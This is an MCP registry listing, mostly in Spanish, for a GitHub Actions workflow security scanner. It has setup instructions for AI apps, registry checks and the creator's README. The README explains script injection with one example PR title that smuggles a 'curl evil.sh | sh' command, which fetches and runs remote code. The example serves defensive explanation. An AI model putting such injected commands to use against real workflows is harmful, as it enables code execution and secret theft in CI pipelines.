REA
Reverse engineer anything from your terminal or agent with one CLI and MCP server.
Se ejecuta en tu computadora
GitHub Actions Security Audit
Resumen
Descripción del creador (original en inglés)
Audit GitHub Actions workflows for script injection, unpinned actions and missing permissions.
Qué puedes hacer con él
Todavía no escribimos un resumen sencillo para este. Abajo están los datos que leímos del registro.
- Conexión: Se ejecuta en la nube
- Transporte: Streamable HTTP
- Categoría: Herramientas para desarrolladores
Instalación
Elige la app de IA que usas y copia la configuración.
Pasó 2/3 revisiones · Lo que preguntas pasa por el servidor del autor (github-actions-audit-mcp.mcpize.run)
Primero: ¿qué IA usas?
Elige tu app y los pasos aparecen abajo.
Funciona con Claude · unos 2 min
Sin clave y sin instalar nada · Configúralo una vez en claude.ai o en la app de escritorio y úsalo en el chat · las cuentas gratis pueden añadir 1
Abre la página Connectors de Claude
CustomizeConnectors
Pulsa “+ Add” → “Add custom connector” y completa estos 2 campos
Copia cada valor al campo con el mismo nombre en Claude y pulsa Continue
Name · NombreGitHub Actions Security AuditRemote MCP server URL · Direcciónhttps://github-actions-audit-mcp.mcpize.run/mcpDeja Authentication como lo detectó Claude y pulsa Add
Actívalo en un chat
+ConnectorsGitHub Actions Security Audit
Pruébalo
Usa GitHub Actions Security Audit y dime qué puedes hacer por mí; luego muéstrame una cosa✓ Si Claude dice que está usando GitHub Actions Security Audit o muestra una herramienta de GitHub Actions Security Audit en la respuesta, ya está conectado
Nombres de menú comprobados con la ayuda de Anthropic el 11 nov 2026 · tu pantalla puede variar un poco según la versión
Funciona con ChatGPT solo en planes de empresa
ChatGPT Business, Enterprise o Edu en la web, añadido por un administrador o propietario del espacio · Con Free, Plus o Pro: tu plan de ChatGPT aún no puede conectar MCP
Abre la página para añadir MCP en ChatGPT web
Plugins+Add custom MCP server
Escribe el nombre y la dirección
Pon un nombre, pega la dirección en Connection, marca el aviso de riesgo y pulsa Create as a plugin
Name · NombreGitHub Actions Security AuditConnection · Direcciónhttps://github-actions-audit-mcp.mcpize.run/mcpElige GitHub Actions Security Audit en un chat
Abre un chat nuevo y elige GitHub Actions Security Audit en tus plugins antes de escribir
Pruébalo
Usa GitHub Actions Security Audit y dime qué puedes hacer por mí; luego muéstrame una cosa✓ Si ChatGPT dice que está usando GitHub Actions Security Audit o muestra una herramienta de GitHub Actions Security Audit en la respuesta, ya está conectado
Nombres de menú comprobados con la ayuda de OpenAI el 11 nov 2026 · tu pantalla puede variar un poco según la versión
Funciona con Claude Code · unos 2 min
Sin clave y sin instalar nada
Abre la Terminal
Mac: pulsa Command+Espacio y escribe Terminal · Windows: abre PowerShell
Pega este comando y pulsa Enter
claude mcp add --transport http github-actions-audit https://github-actions-audit-mcp.mcpize.run/mcpEscribe /mcp en Claude Code
Deberías ver GitHub Actions Security Audit en la lista como conectado
Pruébalo
Usa GitHub Actions Security Audit y dime qué puedes hacer por mí; luego muéstrame una cosa✓ Si Claude Code dice que está usando GitHub Actions Security Audit o muestra una herramienta de GitHub Actions Security Audit en la respuesta, ya está conectado
Nombres de menú comprobados con la ayuda de Anthropic el 11 nov 2026 · tu pantalla puede variar un poco según la versión
Funciona con Cursor · unos 2 min
Sin clave y sin instalar nada
Abre el chat de IA de Cursor en modo Agent
Pruébalo
Usa GitHub Actions Security Audit y dime qué puedes hacer por mí; luego muéstrame una cosa✓ Si Cursor dice que está usando GitHub Actions Security Audit o muestra una herramienta de GitHub Actions Security Audit en la respuesta, ya está conectado
Nombres de menú comprobados con la ayuda de Cursor el 11 nov 2026 · tu pantalla puede variar un poco según la versión
Funciona con VS Code · unos 2 min
Sin clave y sin instalar nada
Abre el chat de IA de VS Code en modo Agent
Pruébalo
Usa GitHub Actions Security Audit y dime qué puedes hacer por mí; luego muéstrame una cosa✓ Si VS Code dice que está usando GitHub Actions Security Audit o muestra una herramienta de GitHub Actions Security Audit en la respuesta, ya está conectado
Nombres de menú comprobados con la ayuda de VS Code el 11 nov 2026 · tu pantalla puede variar un poco según la versión
Otras apps que usan MCP, como Windsurf, Zed o Gemini CLI, añaden servidores de forma distinta. Míralo en la lista de apps
Ver todas las apps que usan MCP →
Dirección para apps que se conectan por la web
Dirección
https://github-actions-audit-mcp.mcpize.run/mcpLa configuración JSON está en “Para desarrolladores”, abajo
Para desarrolladores: comandos de Terminal y configuración JSON
Por la web
Claude Code
claude mcp add --transport http github-actions-audit https://github-actions-audit-mcp.mcpize.run/mcpCursor (~/.cursor/mcp.json)
{
"mcpServers": {
"github-actions-audit": {
"url": "https://github-actions-audit-mcp.mcpize.run/mcp"
}
}
}VS Code (mcp.json)
{
"servers": {
"github-actions-audit": {
"type": "http",
"url": "https://github-actions-audit-mcp.mcpize.run/mcp"
}
}
}Esta configuración se genera a partir de la ficha del creador en el registro. Si el README dice otra cosa, sigue el README.
De un vistazo
- Conexión
- Se ejecuta en la nube
- Transporte
- streamable-http
- Última versióni
- 1.0.0
- Categoríai
- Herramientas para desarrolladores
- Publicado en el registroi
- 2 oct 2026
- Último cambio de códigoi
- 2 oct 2026
- Creador
- tylerscomic-lab
- Estado en el registro
- Activo
Qué apps pueden usarlo
Según cómo se conecta este servidor y la documentación de cada app, comprobado el 10 nov 2026.
Se conectan por internet en
ClaudeChatGPTGooseLM StudioMsty StudioCherry StudioCursorVS Code + GitHub CopilotVisual StudioWindsurf (Devin Desktop)ZedKiroClineContinueJetBrains AI AssistantClaude CodeCodex CLIGemini CLIOpenCodenodecodeWarpLibreChatOpen WebUIRaycast
Qué puede hacer
El servidor no respondió la última vez que lo revisamos, así que no pudimos leer sus herramientas.
Revisiones básicasi
Revisamos información que cualquiera puede ver; no hemos leído el código. Las revisiones que no aplican no se cuentan. · Revisado el 12 nov 2026
- ✓ Superada
El creador coincide con el repo
El nombre en el registro se verificó con la cuenta de GitHub tylerscomic-lab, dueña del repo
- ✓ Superada
Sigue en mantenimiento
Último cambio de código: hace 41 días
- … Aún sin revisar
Tiene licencia
Todavía no hemos leído este repo en GitHub
- ✕ No superada
El endpoint responde
No respondió en 6 segundos cuando lo revisamos
- – No aplica
Inicio de sesión con OAuth
No respondió en 6 segundos cuando lo revisamos
- … Aún sin revisar
Sin instrucciones ocultas en las descripciones de herramientas
Aún sin revisar; leemos la lista de herramientas cuando revisamos el endpoint
Conversación
Pregunta, comparte un consejo o avisa de que no funciona. Ordenado por lo que la gente marcó como útil.
Aún no hay publicaciones. Sé la primera persona en preguntar o compartir.
Lo publicado aquí lo escriben usuarios, no el equipo de PopNx.
Reseñas de usuarios
Aún no hay reseñas
Comparado con otros en Herramientas para desarrolladoresi
- Más estrellas que el 0% de los otros 5784 servidores de esta categoría
- Publicado en el registro más recientemente que el 45% de los otros 5784 servidores de esta categoría
- Revisiones básicas iguales o mejores que el 36% de los otros 5784 servidores de esta categoría
Comparado con todos los servidores activos de esta categoría en el registro. Las estrellas solo cuentan cuando quien lo publica es dueño del repo.
Preguntas frecuentes
¿Es seguro GitHub Actions Security Audit?
Superó 2 de 3 revisiones básicas aplicables. No hemos leído el código. Antes de agregar una clave o un token, revisa qué acceso pide el servidor y usa una clave que tenga solo los permisos que necesitas.
¿Qué claves o códigos necesita?
El registro no indica ninguna clave obligatoria, aunque algunos servidores te piden iniciar sesión la primera vez que los usas.
¿Se ejecuta en mi computadora o en la nube?
Se ejecuta en la nube del creador. Te conectas por internet sin instalar nada, pero lo que envías pasa por los servidores del creador.
¿Sigue en mantenimiento?
El repo de GitHub cambió por última vez hace 41 días, y la última versión (1.0.0) llegó al registro hace 41 días.
¿Qué apps pueden usarlo?
Las apps compatibles con MCP, como Claude Desktop, Claude Code, Cursor y VS Code. Se conecta por URL, así que también funciona en apps que aceptan MCP remoto, como ChatGPT Business o superior.
¿Qué puedo usar en su lugar?
En la misma categoría: REA, Netdata, Front-End Checklist
Alternativas
Servidores de la misma categoría hechos por otros creadores, ordenados por estrellas.
Cómo leer una tarjeta:↓ Descargas por semanai★ Estrellas de GitHubiTres pilares: reseñas · revisiones · usoiActualizado = fecha en que se publicó la última versión en el registroi
Netdata
Real-time infrastructure monitoring with metrics, logs, alerts, and ML-based anomaly detection.
Se ejecuta en la nube
Front-End Checklist
Review frontend code and live pages against 386 quality-gated web development rules.
Se ejecuta en la nube
README del creador
Abrir el README
Copiado tal cual del repo del creador. PopNx MCP no lo ha revisado ni lo respalda. Se quitaron HTML, imágenes y scripts. Los enlaces llevan fuera de este sitio.
github-actions-audit-mcp
An MCP server that audits GitHub Actions workflow YAML for the real vulnerability classes that have caused actual incidents — not a linter, a security scanner. Parses genuine YAML structure (a hand-written block parser scoped to what workflow files actually use), not string/regex matching against the raw file.
What it catches
Script injection. Any ${{ github.event.issue.title }}-style expression that carries attacker-controlled text (issue/PR titles, comments, review bodies, branch names) interpolated directly into a run: shell step. The expression is substituted into the generated shell script *before* the shell runs it — a PR titled "; curl evil.sh | sh # becomes literal shell syntax, not a string. This is the single most common real-world GitHub Actions vulnerability. Flags the exact expression and shows the env-variable fix that actually neutralizes it.
Unpinned third-party actions. uses: some-action@v4 or @main can be repointed by whoever controls that tag/branch, without you changing a single character in your workflow file — this is exactly what happened in the tj-actions/changed-files compromise (March 2025), where a maintainer's PAT was used to retag v35–v46 to point at a credential-harvesting commit. Only a full 40-character commit SHA is immutable.
Missing `permissions:` blocks. No explicit permissions: means the GITHUB_TOKEN defaults to whatever your repo/org settings allow — often read-write. If any step is ever compromised, it inherits that full scope.
`pull_request_target` + head checkout. This trigger runs with the base repo's secrets and a write-scoped token (unlike plain pull_request), and if the workflow also checks out the PR's own head commit, a fork's PR can run arbitrary code with your secrets. Real supply-chain incidents follow this exact pattern.
Tools
audit_workflow
Full audit of a workflow YAML file. Returns a risk level and every finding with its exact location, why it's dangerous, and a concrete fix.
check_expression_injection
Focused check on a single shell command string, for when you just want to sanity-check one run: step without a full workflow file.
Use it
Hosted (recommended): MCPize — free tier, $7/mo Pro.
Self-host:
npm installnode server.js
Part of a small suite
regex-safety-audit-mcp, mcp-trust-audit-mcp, secrets-leak-audit-mcp, dockerfile-audit-mcp.
License
MIT